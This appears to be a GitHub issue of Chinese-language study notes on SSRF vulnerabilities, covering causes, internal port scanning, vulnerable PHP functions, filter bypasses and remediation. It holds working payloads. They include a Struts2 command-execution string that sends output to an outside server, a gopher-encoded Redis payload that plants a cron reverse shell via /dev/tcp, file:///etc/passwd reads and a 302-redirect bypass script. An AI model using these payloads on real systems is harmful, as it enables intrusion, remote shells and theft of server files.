Skip to content

SSRF #100

@PyxYuYu

Description

@PyxYuYu

Never was anything great achieved without danger.

0x01 SSRF

  • SSRF
    • Server-Side Request Forgery 服务端请求伪造
      • 一种由攻击者构造形成由服务端发起请求的安全漏洞
      • 一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统
      • 一般用于内网探测或攻击内网服务
  • SSRF 成因
    • 由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,比如
      • 从指定 URL 地址获取网页文本内容、加载指定地址的图片、下载等
    • 通俗地讲,SSRF 就是没有对外部输入的获取资源的请求作出任何过滤与限制,导致攻击者可以通过这个请求来访问其他服务器的资源
    • 用一个例子来说明
      • URL 加载图片,请求为 http://www.xxx.com/1.php?image=[地址]
      • 如果未对 image 参数作出严格的过滤以及限制,image 参数输入一个内网 IP
      • 由于处理请求的服务器也在内网中,所以如果服务存在,则能请求成功,可以根据 Request 的返回时间判断对应端口上的服务是否开启,可以通过遍历所有内网 IP,来判断内网的服务运行情况
  • 利用方式
    • 对外网、服务器所在内网、本地进行端口扫描(敏感端口),获取一些服务器的 banner 信息
      • 攻击者可以输入一些不常见,但有效的 URL,比如
         http://example.com:8080/dir/images
         http://example.com:22/dir/public/image.jpg
         http://example.com:3306/dir/images
      
      • 根据服务器的返回信息来判断端口的开放情况,大部分的应用并不会去判断端口,只要是有效的 URL,就会发出请求
      • 对于大多数应用,一般不会直接返回 banner 信息,可以通过报出的错误信息、响应时间、响应包大小来判断
    • 攻击运行在内网或本地的应用程序(如:溢出)
    • 对内网 Web 应用进行指纹识别,通过访问默认文件实现
      • 识别内网应用使用的框架、平台、模块以及 CMS 可以为后续的攻击提供很多帮助,大多数 Web 应用都有一些独特的文件和目录,通过这些文件可以识别应用的类型,甚至更详细的版本
      • 根据这些信息可以针对性的收集漏洞进行攻击
      • 比如可以根据访问以下文件来判断 phpMyAdmin 是否安装
         http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
         http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
         http://127.0.0.1:8082/profiles/minimal/translations/README.txt
      
    • 攻击内外网的 Web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2SQLI 等)
      • Struts2 命令执行
         ?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
      
      • 命令执行结果会发送到远端服务器,通过 access.log 获取
    • 利用 file 协议读取本地文件等
      • 比如
         http://www.xxx.com/xxxx?url=file:///etc/passwd
      
  • 漏洞挖掘方法
    • 常见漏洞位置
      • WebLogic 中间件
      • FFmpeg 软件
      • PHP
    • PHP 相关函数
      • file_get_content()
         $content = file_get_contents($_GET['url']);
         // 通过 file_get_contents 直接获取 URL,保存到 content,之后利用
      
      • cURL - curl_exec()
         function curl($url){
             $ch = curl_init();
      	   curl_setopt($ch, CURLOPT_URL, $url);
      	   curl_setopt($ch, CURLOPT_HEADER, 0);
      	   curl_exec($ch);
      	   curl_close($ch);
      	}
      	
      	$url = $_GET['url'];
      	curl($url);
      	// 初始化一个 curl 获取 URL,之后利用
      
      • cURL 默认支持的协议非常多
      Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
      Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
      
      • 然而后端 Request 服务一般都支持除 HTTP/HTTPS 以外的协议,所以可以利用上面中的一些协议来构造攻击请求去操作内网,比如 file、dict、gopher 等协议
      • file 协议查看文件
         curl -v 'file:///etc/passwd'
      
      • dict 协议探测端口
         // 探测 Redis
         curl -v 'dict://10.11.2.1:6379/info'
      
      • gopher 协议反弹 shell
         curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
      
      • gopher 转换规则
        • 如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间
        • 如果前3个字符是 +OK 那么丢弃该行字符串,表示返回的字符串
        • \r 字符串替换成 %0d%0a
        • 空白行替换为 %0a
        • gopher 协议使用方法: gopher://ip:port/payload
        • payload 进行 rawurlencode,可以使用 PHP 的该函数
           gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
        
        • 整个攻击为
           curl -v 'http://www.xxx.com/xxxx/1.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
        
      • 其他协议
         ftp、ftps (FTP匿名访问、爆破)
         tftp (UDP协议扩展)
         imap/imaps/pop3/pop3s/smtp/smtps (爆破邮件用户名密码)
         smb/smbs (SMB匿名访问及爆破)
         telnet (连接SSH/Telnet,匿名访问及爆破)
      
      • socket - fsockopen()
         function GetFile($host,$port,$link)
         {
             $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
      	   if(!$fp)
      	   {
      	       echo "$errstr (error number $errno) \n";
      	   }
      	   else
      	   {
      	       $out = "GET $link HTTP/1.1\r\n";
      		   $out .= "Host: $host\r\n";
      		   $out .= "Connection: Close\r\n\r\n";
      		   $out .= "\r\n";
      		   fwrite($fp, $out);
      		   $contents='';
      		   while (!feof($fp)){
      		       $contents.= fgets($fp, 1024);
      		   }
      		   fclose($fp);
      		   return $contents;
      	   }
         }
         echo GetFile($_GET['host'], $_GET['port'], $_GET['url']);
         // 利用 fsockopen 获取 URL,fsockopen 使用 socket 跟服务器建立 tcp 连接,传输数据
      
    • Web 功能上寻找
      • 常见 Web 功能
        • 分享功能:通过 URL 地址分享网页内容
          • 通过目标 URL 地址获取相关需要分享的内容,如果在此功能中没有对目标地址做过滤和限制,就容易导致 SSRF 漏洞
             http://www.xxx.com/xxxx?resourceUrl=http://xxx.xxx.xxx.xxx
          
        • 转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
        • 在线翻译:通过 URL 地址翻译对应网页的内容
           http://fanyi.youdao.com/xxxx&url=http%3A%2F%2F10.100.21.3%2Fmessage.shtml
        
        • 图片加载与下载:通过 URL 地址加载或下载图片
          • 图片加载功能:比如某些公司加载自家图片服务器上的图片用于展示
             http://www.xxx.com/xxxx?image=http://xxx.xxx.xxx.xxx
          
        • 图片、文章收藏功能
          • 图片收藏类似图片加载
          • 文章收藏类似分享功能
        • 未公开的 API 实现以及其他调用 URL 的功能
          • 比如:某些网站通过 API 获取远程地址 XML 文件来加载内容
          • 比如:网站提供对其他网站的评分
        • 除了转码和翻译是公共服务,其他都有可能在开发过程中遇到
    • URL 关键字上寻找
      • 常见 URL 关键字
         share
         wap
         url
         link
         src
         source
         targer
         u
         3g
         display
         sourceURL
         imageURL
         domain
      
    • 漏洞一般存在的地方
      • 能够发起网络请求的地方
        • 可以填写域名的地方
      • 从远程服务器请求资源
        • URL 上传图片
        • 订阅 RSS
      • 数据库内置功能
        • Oracle
        • MongoDB
        • MSSQL
        • Postgre
        • CouchDB
      • 邮箱服务器收取其他邮箱邮件
        • POP3/IMAP/SMTP
      • 文件处理、编码处理、属性处理
        • FFmpeg
        • ImageMagick
        • Docx
        • PDF
        • XML
    • Fuzz 方法
      • 因为 SSRF 是构造服务器发送请求的漏洞,所以可以通过抓包分析发送的请求是否是由服务器发送来判断是否存在 SSRF 漏洞
        • 比如:图片加载,判断是否存在 SSRF
        • 方法一:右键图片,新窗口打开,如果浏览器 URL 地址栏上就是刚刚 URL 后附带的链接,说明是本地发送的请求,不是服务端发送的请求,不存在 SSRF 漏洞
           http://www.xxx.com/***/service?image=http://www.baidu.com/img/1.png
           // 新窗口打开
           http://www.baidu.com/img/1.png
        
        • 方法二:抓包,因为 SSRF 是由服务端发起的请求,所以在加载图片时候,如果存在的话,也该由服务端发起,本地浏览器的请求中不应该存在图片的请求,即不能抓到图片的请求包,所以刷新页面,抓到图片的请求包,就说明是本地请求,不存在 SSRF 漏洞
          • 用上面两种方法可以方便地判断是否存在 SSRF 漏洞,因为目前大多数修复 SSRF 的方法基本是区分内外网来做限制,如果请求一个内网图片(image=http://11.11.11.1/favicon.ico)来判断是否存在 SSRF 漏洞的话,可能会不太准确,因为有可能这个内网地址被过滤了,或者内网中这个图片根本不存在
        • 通过上面确定可能存在 SSRF 的情况下,接下来就需要来验证是否可以用于请求内网地址
        • 图片加载的情况下,可以通过获取内网存在 HTTP 服务且存在 favicon.ico 文件的地址,才能验证是否存在 SSRF 漏洞
        • 寻找存在 HTTP 服务的内网地址
          • 历史漏洞寻找泄漏的存在 Web 应用的内网地址
          • 子域名爆破工具猜测内网地址
      • 在页面源码中查找访问的资源地址
  • SSRFURL 地址过滤的绕过方式
    • 使用 @(类似邮箱)
       http://a.com@10.10.10.10 即 http://10.10.10.10
       http://a.com:b@10.10.10.10
    
    • IP 地址转换成进制
       115.239.210.26 = 16373751032
    
    • 内网地址转换成短地址
       http://10.10.116.11
       http://t.cn/RwbLKDx
    
    • 短网址不适于通过程序去探测内网
    • 短网址无法加载某些攻击 Payload,如 Struts2 命令执行
    • 端口绕过
       // 通过加上端口,绕过正则
       http://10.10.116.11:80
    
    • xip.io
       // xip.io 是一个按需定制的 DNS 服务
       http://www.10.10.0.179.xip.io
      
       www.10.10.0.179.xip.io 10.10.0.179
    
    • 通过 JS 跳转
      • 通过在临时页面内用 JS 写一个跳转,通过跳转访问到内部服务
         http://临时页面
         // 临时页面
         <script language="JavaScript" type="text/javascript">
             window.location.href="http://10.10.0.179/";
         </script>
      
    • 通过 302 跳转(只允许 HTTP/HTTPS 协议)
      • 利用了当 URL 存在临时 302 或永久 301 跳转时,可以继续请求跳转后的 URL 的特性
      • 通过 HTTP(S) 的链接 302 跳转到 gopher 协议上
      • 构造一个 302 跳转服务
         <?php
         $schema = $_GET['s'];
         $ip     = $_GET['i'];
         $port   = $_GET['p'];
         $query  = $_GET['q'];
         if(empty($port)){  
             header("Location: $schema://$ip/$query");
         } else {
             header("Location: $schema://$ip:$port/$query");
         }
      
      • 利用
         curl -v 'http://www.xxx.com/1.php?url=http://a.cn/302.php?s=file&query=/etc/passwd'
      
      • 302 跳转也可以绕过白名单限制
         // 限制的白名单域 whitelist.com
         http://a.cn/302php?whitelist.com
      
  • SSRF 漏洞修复
    • 过滤返回信息
      • 验证远程服务器对请求的响应,进行过滤
        • 如果 Web 应用是去获取某一类型的文件,那么在把返回结果展示给用户之前应先验证返回的信息是否符合安全标准
    • 统一错误信息
      • 避免攻击者可以根据错误信息来判断远程服务器的端口状态
    • 限制请求端口为 HTTP 常用端口
      • 比如:80、443、8080、8090
    • 黑名单内网 IP,给请求域设置白名单
      • 避免应用被用来获取内网数据,攻击内网
    • 禁用不需要的协议
      • 仅允许 HTTPHTTPS 请求
    • 禁止请求域名的 301 跳转
      • 杜绝使用正常 HTTP/HTTPS 请求 301 跳转到攻击请求的方式

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions